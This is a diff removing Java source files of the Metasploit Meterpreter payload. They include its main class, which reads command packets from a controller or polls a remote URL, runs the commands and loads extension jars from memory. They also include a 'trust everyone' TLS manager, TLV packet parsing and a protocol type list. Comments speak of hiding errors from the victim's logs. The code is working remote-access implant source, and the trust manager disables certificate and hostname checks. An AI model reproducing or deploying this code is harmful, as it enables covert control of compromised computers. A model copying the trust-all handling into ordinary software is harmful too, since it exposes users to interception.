public void load(CommandManager commandManager) throws Exception;
|
||||
}
|
@ -1,338 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
import java.util.jar.JarInputStream;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.core.core_loadlib;
|
||||
|
||||
/**
|
||||
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class Meterpreter {
|
||||
|
||||
private static final int PACKET_TYPE_REQUEST = 0;
|
||||
private static final int PACKET_TYPE_RESPONSE = 1;
|
||||
|
||||
private List/* <Channel> */channels = new ArrayList();
|
||||
private final CommandManager commandManager;
|
||||
private final DataOutputStream out;
|
||||
private final Random rnd = new Random();
|
||||
private final ByteArrayOutputStream errBuffer;
|
||||
private final PrintStream err;
|
||||
private final boolean loadExtensions;
|
||||
private List/* <byte[]> */tlvQueue = null;
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
* @param in
|
||||
* Input stream to read from
|
||||
* @param rawOut
|
||||
* Output stream to write into
|
||||
* @param loadExtensions
|
||||
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
||||
* @param redirectErrors
|
||||
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
commandManager = new CommandManager();
|
||||
channels.add(null); // main communication channel?
|
||||
if (redirectErrors) {
|
||||
errBuffer = new ByteArrayOutputStream();
|
||||
err = new PrintStream(errBuffer);
|
||||
} else {
|
||||
errBuffer = null;
|
||||
err = System.err;
|
||||
}
|
||||
try {
|
||||
while (true) {
|
||||
int len = in.readInt();
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new IOException("Invalid packet type: " + ptype);
|
||||
TLVPacket request = new TLVPacket(in, len - 8);
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response != null)
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
}
|
||||
} catch (EOFException ex) {
|
||||
}
|
||||
out.close();
|
||||
synchronized (this) {
|
||||
for (Iterator it = channels.iterator(); it.hasNext();) {
|
||||
Channel c = (Channel) it.next();
|
||||
if (c != null)
|
||||
c.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a TLV packet to this meterpreter's output stream.
|
||||
*
|
||||
* @param type
|
||||
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
|
||||
* @param packet
|
||||
* The packet to send
|
||||
*/
|
||||
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||
byte[] data = packet.toByteArray();
|
||||
if (tlvQueue != null) {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(baos);
|
||||
dos.writeInt(data.length + 8);
|
||||
dos.writeInt(type);
|
||||
dos.write(data);
|
||||
tlvQueue.add(baos.toByteArray());
|
||||
return;
|
||||
}
|
||||
synchronized (out) {
|
||||
out.writeInt(data.length + 8);
|
||||
out.writeInt(type);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a command request.
|
||||
*
|
||||
* @param request
|
||||
* The request to execute
|
||||
* @return The response packet to send back
|
||||
*/
|
||||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
if (method.equals("core_switch_url")) {
|
||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
return null;
|
||||
} else if (method.equals("core_shutdown")) {
|
||||
return null;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(this, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Poll from a given URL until a shutdown request is received.
|
||||
* @param url
|
||||
*/
|
||||
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||
byte[] outPacket = null;
|
||||
synchronized (this) {
|
||||
if (tlvQueue.size() > 0)
|
||||
outPacket = (byte[]) tlvQueue.remove(0);
|
||||
}
|
||||
TLVPacket request = null;
|
||||
try {
|
||||
URLConnection uc = url.openConnection();
|
||||
if (url.getProtocol().equals("https")) {
|
||||
// load the trust manager via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+)
|
||||
try {
|
||||
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
}
|
||||
}
|
||||
uc.setDoOutput(true);
|
||||
OutputStream out = uc.getOutputStream();
|
||||
out.write(outPacket == null ? RECV : outPacket);
|
||||
out.close();
|
||||
DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||
int len;
|
||||
try {
|
||||
len = in.readInt();
|
||||
} catch (EOFException ex) {
|
||||
len = -1;
|
||||
}
|
||||
if (len != -1) {
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new RuntimeException("Invalid packet type: " + ptype);
|
||||
request = new TLVPacket(in, len - 8);
|
||||
}
|
||||
in.close();
|
||||
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
} catch (IOException ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
// URL not reachable
|
||||
if (outPacket != null) {
|
||||
synchronized (this) {
|
||||
tlvQueue.add(0, outPacket);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (request != null) {
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response == null)
|
||||
break;
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
} else if (outPacket == null) {
|
||||
try {
|
||||
Thread.sleep(5000);
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the command manager, used to register or lookup commands.
|
||||
*/
|
||||
public CommandManager getCommandManager() {
|
||||
return commandManager;
|
||||
}
|
||||
|
||||
/**
|
||||
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
|
||||
*
|
||||
* @param channel
|
||||
* The channel to register
|
||||
* @return The channel's ID.
|
||||
*/
|
||||
public synchronized int registerChannel(Channel channel) {
|
||||
channels.add(channel);
|
||||
return channels.size() - 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
|
||||
*
|
||||
* @param id
|
||||
* The channel's ID
|
||||
*/
|
||||
public synchronized void channelClosed(int id) {
|
||||
channels.set(id, null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Obtain a channel for a given channel ID
|
||||
*
|
||||
* @param id
|
||||
* The channel ID to look up
|
||||
* @param throwIfNonexisting
|
||||
* Whether to throw an exception if the channel does not exist
|
||||
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
|
||||
*/
|
||||
public Channel getChannel(int id, boolean throwIfNonexisting) {
|
||||
Channel result = null;
|
||||
if (id < channels.size())
|
||||
result = (Channel) channels.get(id);
|
||||
if (result == null && throwIfNonexisting)
|
||||
throw new IllegalArgumentException("Channel " + id + " does not exist.");
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
|
||||
*/
|
||||
public PrintStream getErrorStream() {
|
||||
return err;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
|
||||
*/
|
||||
public int getErrorBufferLength() {
|
||||
if (errBuffer == null)
|
||||
return -1;
|
||||
return errBuffer.size();
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
|
||||
*/
|
||||
public byte[] getErrorBuffer() {
|
||||
if (errBuffer == null)
|
||||
return null;
|
||||
synchronized (errBuffer) {
|
||||
byte[] result = errBuffer.toByteArray();
|
||||
errBuffer.reset();
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a request packet over this meterpreter.
|
||||
*
|
||||
* @param packet
|
||||
* Packet parameters
|
||||
* @param method
|
||||
* Method to invoke
|
||||
*/
|
||||
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
|
||||
tlv.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
char[] requestID = new char[32];
|
||||
for (int i = 0; i < requestID.length; i++) {
|
||||
requestID[i] = (char) ('A' + rnd.nextInt(26));
|
||||
}
|
||||
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
|
||||
writeTLV(PACKET_TYPE_REQUEST, tlv);
|
||||
}
|
||||
|
||||
/**
|
||||
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
|
||||
*
|
||||
* @param data
|
||||
* The extension jar's content as a byte array
|
||||
*/
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
ClassLoader classLoader = getClass().getClassLoader();
|
||||
if (loadExtensions) {
|
||||
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
||||
classLoader = new URLClassLoader(new URL[] { url }, classLoader);
|
||||
}
|
||||
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
||||
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
||||
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
|
||||
commandManager.resetNewCommands();
|
||||
loader.load(commandManager);
|
||||
return commandManager.getNewCommands();
|
||||
}
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.net.URLConnection;
|
||||
|
||||
import javax.net.ssl.HostnameVerifier;
|
||||
import javax.net.ssl.HttpsURLConnection;
|
||||
import javax.net.ssl.SSLContext;
|
||||
import javax.net.ssl.SSLSession;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
import javax.net.ssl.TrustManager;
|
||||
import javax.net.ssl.X509TrustManager;
|
||||
import java.security.cert.X509Certificate;
|
||||
|
||||
/**
|
||||
* Trust manager used for HTTPS URL connection. This is in its own class because it
|
||||
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
|
||||
* the main {@link Meterpreter} class would have made it impossible for other/older
|
||||
* JREs to load it.
|
||||
*
|
||||
* This class is substantically identical to the metasploit.PayloadTrustManager class,
|
||||
* only that it tries to cache the ssl context and trust manager between calls.
|
||||
*/
|
||||
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
// no preferred issuers
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
|
||||
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||
// trust everyone
|
||||
}
|
||||
|
||||
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||
// trust everyone
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
// trust everyone
|
||||
return true;
|
||||
}
|
||||
|
||||
private static PayloadTrustManager instance;
|
||||
private static SSLSocketFactory factory;
|
||||
|
||||
/**
|
||||
* Called by the {@link Payload} class to modify the given
|
||||
* {@link URLConnection} so that it uses this trust manager.
|
||||
*/
|
||||
public static synchronized void useFor(URLConnection uc) throws Exception {
|
||||
if (uc instanceof HttpsURLConnection) {
|
||||
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
||||
if (instance == null) {
|
||||
instance = new PayloadTrustManager();
|
||||
SSLContext sc = SSLContext.getInstance("SSL");
|
||||
sc.init(null, new TrustManager[] { instance }, new java.security.SecureRandom());
|
||||
factory = sc.getSocketFactory();
|
||||
}
|
||||
huc.setSSLSocketFactory(factory);
|
||||
huc.setHostnameVerifier(instance);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,265 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* A packet consisting of multiple TLV values. Having the same type more than once is an error.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class TLVPacket {
|
||||
|
||||
// constants
|
||||
public static final int TLV_META_TYPE_NONE = 0;
|
||||
|
||||
public static final int TLV_META_TYPE_STRING = (1 << 16);
|
||||
public static final int TLV_META_TYPE_UINT = (1 << 17);
|
||||
public static final int TLV_META_TYPE_RAW = (1 << 18);
|
||||
public static final int TLV_META_TYPE_BOOL = (1 << 19);
|
||||
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
|
||||
public static final int TLV_META_TYPE_GROUP = (1 << 30);
|
||||
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
|
||||
|
||||
// not defined in original
|
||||
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
|
||||
|
||||
/**
|
||||
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
|
||||
*/
|
||||
private List/* <Integer> */typeOrder = new ArrayList();
|
||||
|
||||
/**
|
||||
* A map, mapping the types (as {@link Integer} objects) to values (different kinds of objects). There are type-safe helper methods to retrieve one of those objects from the map.
|
||||
*/
|
||||
private Map/* <Integer,Object> */valueMap = new HashMap();
|
||||
|
||||
/**
|
||||
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
|
||||
*/
|
||||
private List/* <Integer/Object> */overflowList = new ArrayList();
|
||||
|
||||
/**
|
||||
* Construct a new empty TLV packet.
|
||||
*/
|
||||
public TLVPacket() {
|
||||
}
|
||||
|
||||
/**
|
||||
* Read a TLV packet from an input stream.
|
||||
*
|
||||
* @param in
|
||||
* Input stream to read from
|
||||
* @param remaining
|
||||
* length of the packet to read in bytes
|
||||
* @throws IOException
|
||||
* if an error occurs
|
||||
*/
|
||||
public TLVPacket(DataInputStream in, int remaining) throws IOException {
|
||||
while (remaining > 0) {
|
||||
int len = in.readInt();
|
||||
int type = in.readInt();
|
||||
if (len > remaining)
|
||||
break;
|
||||
byte[] data = new byte[len - 8];
|
||||
remaining -= len;
|
||||
Object value;
|
||||
if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
|
||||
in.readFully(data);
|
||||
value = data;
|
||||
} else if ((type & TLV_META_TYPE_STRING) != 0) {
|
||||
in.readFully(data);
|
||||
String string = new String(data, "ISO-8859-1"); // better safe than sorry
|
||||
if (!string.endsWith("\0"))
|
||||
throw new IOException("C string is not 0 terminated: " + string);
|
||||
string = string.substring(0, string.length() - 1);
|
||||
if (string.indexOf('\0') != -1)
|
||||
throw new IOException("Embedded null detected: " + string);
|
||||
value = string;
|
||||
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
|
||||
value = new Integer(in.readInt());
|
||||
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
|
||||
value = new Boolean(in.readBoolean());
|
||||
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
||||
in.readFully(data);
|
||||
value = data;
|
||||
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
||||
in.readFully(data);
|
||||
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
|
||||
value = new TLVPacket(dis, data.length);
|
||||
dis.close();
|
||||
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
||||
in.readFully(data);
|
||||
value = data;
|
||||
} else {
|
||||
throw new IOException("Unsupported type: " + type + "/" + len);
|
||||
}
|
||||
add(type, value);
|
||||
}
|
||||
if (remaining != 0) {
|
||||
throw new IOException("Incomplete packets detected");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a TLV value to this object.
|
||||
*/
|
||||
public void add(int type, Object value) throws IOException {
|
||||
Integer typeObj = new Integer(type);
|
||||
typeOrder.add(typeObj);
|
||||
if (valueMap.containsKey(typeObj))
|
||||
throw new IOException("Duplicate type: " + type);
|
||||
valueMap.put(typeObj, value);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add an element to the overflow list.
|
||||
*/
|
||||
public void addOverflow(int type, Object value) throws IOException {
|
||||
overflowList.add(new Integer(type));
|
||||
overflowList.add(value);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a TLV value to this object.
|
||||
*/
|
||||
public void add(int type, int value) throws IOException {
|
||||
add(type, new Integer(value));
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a TLV value to this object.
|
||||
*/
|
||||
public void add(int type, boolean value) throws IOException {
|
||||
add(type, new Boolean(value));
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the types and their order in this packet, as an immutable list.
|
||||
*/
|
||||
public List getTypeOrder() {
|
||||
return Collections.unmodifiableList(typeOrder);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type.
|
||||
*/
|
||||
public Object getValue(int type) {
|
||||
Object result = valueMap.get(new Integer(type));
|
||||
if (result == null)
|
||||
throw new IllegalArgumentException("Cannot find type " + type);
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type.
|
||||
*/
|
||||
public Object getValue(int type, Object defaultValue) {
|
||||
Object result = valueMap.get(new Integer(type));
|
||||
if (result == null)
|
||||
result = defaultValue;
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as a {@link String}.
|
||||
*/
|
||||
public String getStringValue(int type) {
|
||||
return (String) getValue(type);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
|
||||
*/
|
||||
public String getStringValue(int type, String defaultValue) {
|
||||
return (String) getValue(type, defaultValue);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as an int.
|
||||
*/
|
||||
public int getIntValue(int type) {
|
||||
return ((Integer) getValue(type)).intValue();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as a boolean.
|
||||
*/
|
||||
public boolean getBooleanValue(int type) {
|
||||
return ((Boolean) getValue(type)).booleanValue();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as a byte array.
|
||||
*/
|
||||
public byte[] getRawValue(int type) {
|
||||
return (byte[]) getValue(type);
|
||||
}
|
||||
|
||||
/**
|
||||
* Write all the values to an output stream.
|
||||
*/
|
||||
public void write(DataOutputStream out) throws IOException {
|
||||
for (Iterator it = typeOrder.iterator(); it.hasNext();) {
|
||||
Integer typeKey = (Integer) it.next();
|
||||
int type = typeKey.intValue();
|
||||
Object value = valueMap.get(typeKey);
|
||||
write(out, type, value);
|
||||
}
|
||||
for (Iterator it = overflowList.iterator(); it.hasNext();) {
|
||||
Integer typeKey = (Integer) it.next();
|
||||
int type = typeKey.intValue();
|
||||
Object value = it.next();
|
||||
write(out, type, value);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a single vlaue to an output stream.
|
||||
*/
|
||||
private static void write(DataOutputStream out, int type, Object value) throws IOException {
|
||||
byte[] data;
|
||||
if ((type & TLV_META_TYPE_STRING) != 0) {
|
||||
data = ((String) value + "\0").getBytes("ISO-8859-1");
|
||||
} else if ((type & TLV_META_TYPE_UINT) != 0) {
|
||||
out.writeInt(12);
|
||||
out.writeInt(type);
|
||||
out.writeInt(((Integer) value).intValue());
|
||||
return;
|
||||
} else if ((type & TLV_META_TYPE_BOOL) != 0) {
|
||||
out.writeInt(9);
|
||||
out.writeInt(type);
|
||||
out.writeBoolean(((Boolean) value).booleanValue());
|
||||
return;
|
||||
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
||||
data = (byte[]) value;
|
||||
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
||||
data = ((TLVPacket) value).toByteArray();
|
||||
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
||||
data = (byte[]) value;
|
||||
} else {
|
||||
throw new IOException("Unsupported type: " + type);
|
||||
}
|
||||
out.writeInt(8 + data.length);
|
||||
out.writeInt(type);
|
||||
out.write(data);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert all the values to a byte array.
|
||||
*/
|
||||
public byte[] toByteArray() throws IOException {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
write(new DataOutputStream(baos));
|
||||
return baos.toByteArray();
|
||||
}
|
||||
}
|
@ -1,178 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
/**
|
||||
* All defined TLV types.
|
||||
*
|
||||
* TLV meta types are defined in the {@link TLVPacket} class.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public interface TLVType {
|
||||
|
||||
// TLV Specific Types
|
||||
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
|
||||
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
|
||||
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
|
||||
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
|
||||
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
|
||||
|
||||
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
|
||||
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
|
||||
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
|
||||
|
||||
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
|
||||
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
|
||||
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
|
||||
|
||||
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
|
||||
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
|
||||
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
|
||||
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
|
||||
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
|
||||
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
|
||||
|
||||
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
|
||||
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
|
||||
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
|
||||
|
||||
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
|
||||
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
|
||||
|
||||
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
|
||||
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
|
||||
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
|
||||
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
|
||||
|
||||
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
|
||||
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
|
||||
|
||||
// General
|
||||
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 600;
|
||||
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
|
||||
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 630;
|
||||
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 631;
|
||||
|
||||
// Fs
|
||||
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
|
||||
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
|
||||
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
|
||||
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
|
||||
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
|
||||
|
||||
// Net
|
||||
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
|
||||
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
|
||||
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
|
||||
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
|
||||
|
||||
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
|
||||
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
|
||||
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
|
||||
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
|
||||
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
|
||||
|
||||
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
|
||||
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
|
||||
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
|
||||
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
|
||||
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
|
||||
|
||||
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
|
||||
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
|
||||
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
|
||||
|
||||
// Socket
|
||||
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
|
||||
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
|
||||
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
|
||||
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
|
||||
public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
|
||||
|
||||
